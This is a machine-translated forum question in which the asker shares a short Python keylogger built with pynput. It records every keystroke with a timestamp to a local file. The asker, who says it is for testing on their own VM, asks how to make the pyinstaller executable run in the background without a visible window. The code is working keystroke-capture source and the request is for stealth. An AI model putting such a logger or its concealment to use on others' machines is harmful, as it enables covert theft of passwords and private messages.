[英]How to run a python script executable in the background
我正在运行python 3.6,并做了一个键盘记录程序来在我的VM上进行测试。 我使用pyinstaller将键盘记录程序转换为可执行文件。 键盘记录程序工作得很好,但是,当我运行它时,它会打开一个黑色的窗口,当我关闭它时,它将停止该程序。 我想要它,因此可以在后台运行可执行文件。
编辑:我正在使用Windows 10
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.